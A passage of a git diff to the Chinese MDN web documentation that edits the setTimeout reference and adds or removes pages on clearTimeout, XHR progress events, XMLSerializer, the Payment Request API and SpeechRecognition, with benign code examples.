+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

备注

+ +

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

+ +

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

+ +

传递字符串字面量

+ +

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

+ +
// 推荐
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 不推荐
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+
+ +

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

+ +

实际延时比设定值更久的原因:最小延迟时间

+ +

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

+ +

最小延时 >=4ms

+ +

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

+ +
function cb() { f(); setTimeout(cb, 0); }
+setTimeout(cb, 0);
+ +
setInterval(f, 0);
+ +

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

+ +

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

+ +

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

+ +
+

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

+
+ +
+

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

+
+ +

未被激活的tabs的定时最小延迟>=1000ms

+ +

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

+ +

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

+ +

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

+ +
+

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

+
+ +

追踪型脚本的最小延时限制

+ +

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

+ +

控制这些行为的属性包含以下这些:

+ + + +

超时延迟

+ +

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

+ +
function foo() {
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

会在控制台输出:

+ +
After setTimeout
+foo has been called
+ +

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

+ +

WebExtension Background pages和定时器

+ +

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

+ +

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

+ +

1.兼容Chorme。

+ +

2.未来行为的改变会引起问题。

+ +

最大延时值

+ +

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+
+ +

相关链接:

+ + diff --git a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html b/files/zh-cn/web/api/windowtimers/cleartimeout/index.html deleted file mode 100644 index 4b20c970d7..0000000000 --- a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.clearTimeout() -slug: Web/API/WindowTimers/clearTimeout -tags: - - API - - WindowOrWorkerGlobalScope - - clearTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout ---- -
-
{{APIRef("HTML DOM")}}
-
- -

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

- -

语法

- -
scope.clearTimeout(timeoutID)
- - - -

Parameters

- -
-
timeoutID
-
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
-
- -

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

- -

示例

- -

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

- -
var alarm = {
-  remind: function(aMessage) {
-    alert(aMessage);
-    delete this.timeoutID;
-  },
-
-  setup: function() {
-    this.cancel();
-    var self = this;
-    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
-  },
-
-  cancel: function() {
-    if(typeof this.timeoutID == "number") {
-      window.clearTimeout(this.timeoutID);
-      delete this.timeoutID;
-    }
-  }
-};
-window.onclick = function() { alarm.setup() };
- -

注意

- -

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
- {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
- {{CompatGeckoMobile("52")}}[1]
6.06.01.0
-
- -

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

- -

更多

- - diff --git a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html new file mode 100644 index 0000000000..529a0b1673 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html @@ -0,0 +1,89 @@ +--- +title: loadend +slug: Web/Events/loadend +translation_of: Web/API/XMLHttpRequest/loadend_event +--- +

loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

+ +

General info

+ +
+
规范
+
Progress
+
接口
+
ProgressEvent
+
可冒泡
+
+
可取消
+
+
触发对象
+
例如{{domxref("HTMLImageElement")}}
+
默认行为
+
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ + + + + +

See also

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html new file mode 100644 index 0000000000..60362dd94a --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html @@ -0,0 +1,91 @@ +--- +title: loadstart +slug: Web/Events/loadstart +tags: + - 事件 +translation_of: Web/API/XMLHttpRequest/loadstart_event +--- +

当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

+ +

基本信息

+ +
+
规范文档
+
Progress
+
接口
+
ProgressEvent
+
冒泡
+
No
+
可取消
+
No
+
目标
+
Element
+
默认动作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ +

相关事件

+ + + +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html new file mode 100644 index 0000000000..6a63ab9d5e --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html @@ -0,0 +1,146 @@ +--- +title: progress event +slug: Web/Events/进度条 +tags: + - API + - Event + - Reference + - Web + - XMLHttpRequest + - progress +translation_of: Web/API/XMLHttpRequest/progress_event +--- +

{{APIRef}}

+ +

progress事件会在请求接收到数据的时候被周期性触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}}
+ +

示例

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-progress')}}{{Spec2('XMLHttpRequest')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.progress_event")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/xmlserializer/index.html b/files/zh-cn/web/api/xmlserializer/index.html new file mode 100644 index 0000000000..5c0af6bf9f --- /dev/null +++ b/files/zh-cn/web/api/xmlserializer/index.html @@ -0,0 +1,92 @@ +--- +title: XMLSerializer +slug: XMLSerializer +tags: + - DOM Parsing + - XML + - XMLSerializer + - construct + - conversion +translation_of: Web/API/XMLSerializer +--- +
{{APIRef("XMLSerializer")}}
+ +
XMLSerializer接口提供{{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法来构建一个代表 {{Glossary("DOM")}} 树的XML字符串。
+ +

方法

+ +
+
{{domxref("XMLSerializer.serializeToString", "serializeToString()")}}
+
返回DOM子树序列化后的字符串。
+
{{domxref("XMLSerializer.serializeToStream", "serializeToStream()")}} {{ non-standard_inline }}{{ deprecated_inline }}
+
将指定元素的每个子树按照特定的字符集序列化成字节流。
+
+ +

示例

+ +

把 XML 序列化为字符串

+ +

首先,最基本的例子是将整个 document 对象序列化为一个 XML 字符串。

+ +
 var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ saveXML(str);
+ +

这里新建了一个 XMLSerializer 对象实例, 然后将待序列化的 {{domxref("Document")}} 对象实例传入返回等价 XML 的 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法。

+ +

向一个基于 XML 的 DOM 对象中

+ +

本例使用 {domxref("Element.insertAdjacentHTML()")}} 方法将一个新的 DOM {{domxref("Node")}} 插入 基于序列化 {{domxref("Document")}} 对象创建的 XML 中。

+ +
+

注意: 在真实场景下,你通常应该通过调用 {{domxref("Document.importNode", "importNode()")}} 方法将新节点加入 DOM 中, 然后通过调用以下方法将目标节点添加到 DOM 树:

+ + +
+ +

因为insertAdjacentHTML() 的第二个参数是一个字符串而不是 Node 节点对象, 所以这里先要使用 XMLSerializer 将节点转换为字符串.

+ +
var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // 先将一个 DOM 节点转换为字符串。
+
+// 将新建的节点添加到 DOM 中。
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);
+ +

以上代码通过调用 {{domxref("Document.createElement()")}} 方法新建一个 {HTMLElement("input")}} 对象 , 然后通过 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法将该对象序列化为 XML.

+ +

做完以上工作之后, 使用 insertAdjacentHTML() 方法将 <input> 元素加入 DOM.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#the-xmlserializer-interface', 'XMLSerializer')}}{{Spec2('DOM Parsing')}}
+ +

浏览器兼容性

+ +
{{Compat("api.XMLSerializer")}}
+ +

参见

+ + diff --git "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" "b/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" deleted file mode 100644 index 9993a0a959..0000000000 --- "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: 指数 -slug: Web/API/指数 -translation_of: Web/API/Index ---- -

{{Index("/zh-CN/docs/Web/API")}}

diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" deleted file mode 100644 index a6772dc5be..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: 交易过程的基本概念 -slug: Web/API/支付_请求_接口/Concepts -tags: - - API - - Apple Pay - - 中间状态 - - 交易 - - 付款方 - - 付款方式 - - 应用程序接口 - - 指南 - - 支付 - - 支付请求API - - 收款方 - - 贸易 -translation_of: Web/API/Payment_Request_API/Concepts ---- -

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

- -

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

- -

术语

- -

在深入了解此API的工作方式前,你应该了解以下术语。

- -
-
收款方(或商家)
-
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
-
付款方
-
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
-
支付方式
-
付款的方式,例如信用卡或线上支付服务。
-
支付方式提供方
-
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
-
交易处理机
-
一段代码,作用是与付款方式提供方交互,进行交易处理。
-
- -

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

- -

支付方式识别码

- -

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

- -

标准化的交易方式识别码

- -

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

- -
-
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
-
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
-
- -

基于URL的交易方式识别码

- -

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

- -
-
https://apple.com/apple-pay
-
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
-
https://google.com/pay
-
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
-
- -

交易处理机的功能

- -

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

- -
    -
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. -
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. -
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. -
- -

商家认证

- -

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

- -

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

- -
paymentRequest.onmerchantvalidation = function(event) {
-  event.complete(fetchValidationData(event.validationURL));
-}
-
- -

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

- -

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

- -

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" deleted file mode 100644 index 0df4261062..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: 支付请求接口 -slug: Web/API/支付_请求_接口 -tags: - - 中间状态 - - 信用卡 - - 到岸卸货 - - 参考 - - 应用程序接口 - - 支付 - - 支付请求 - - 支付请求接口 - - 概述 - - 贸易 -translation_of: Web/API/Payment_Request_API ---- -
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
- -

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

- -

支付请求的概念和使用

- -

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

- -

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

- - - -

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

- -

你可以在Using the Payment Request API中查看完整指南。

- -
-

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

-
- -

接口

- -
-
{{domxref('PaymentAddress')}}
-
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
-
{{domxref('PaymentRequest')}}
-
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
-
{{domxref('PaymentRequestEvent')}}
-
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
-
{{domxref('PaymentRequestUpdateEvent')}}
-
当用户进行操作时,使网页可以更新相应的支付信息的事件。
-
{{domxref('PaymentMethodChangeEvent')}}
-
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
-
{{domxref('PaymentResponse')}}
-
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
-
{{domxref('MerchantValidationEvent')}}
-
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
-
- -
-
- -

词典

- -
-
{{domxref("AddressErrors")}}
-
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
-
{{domxref("PayerErrors")}}
-
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
-
{{domxref("PaymentDetailsUpdate")}}
-
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
-
- -

“保存卡信息并自动扣款”规范的相关词典

- -
-
{{domxref("BasicCardChangeDetails")}}
-
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
-
{{domxref("BasicCardErrors")}}
-
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
-
{{domxref('BasicCardRequest')}}
-
定义了支付请求信息(例如“卡类型”)对象的结构。
-
{{domxref('BasicCardResponse')}}
-
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
- -

浏览器兼容性

- -
-

支付请求接口

- -
- - -

{{Compat("api.PaymentRequest", 0)}}

-
-
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" deleted file mode 100644 index 83e11e69e4..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: 语音识别 -slug: Web/API/语音识别 -translation_of: Web/API/SpeechRecognition ---- -

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

- -

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

- -
-

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

-
- -

Constructor

- -
-
{{domxref("SpeechRecognition.SpeechRecognition()")}}
-
Creates a new SpeechRecognition object.
-
- -

Properties

- -

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.grammars")}}
-
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
-
{{domxref("SpeechRecognition.lang")}}
-
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
-
{{domxref("SpeechRecognition.continuous")}}
-
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
-
{{domxref("SpeechRecognition.interimResults")}}
-
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
-
{{domxref("SpeechRecognition.maxAlternatives")}}
-
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
-
{{domxref("SpeechRecognition.serviceURI")}}
-
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
-
- -
-
- -

Methods

- -

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.abort()")}}
-
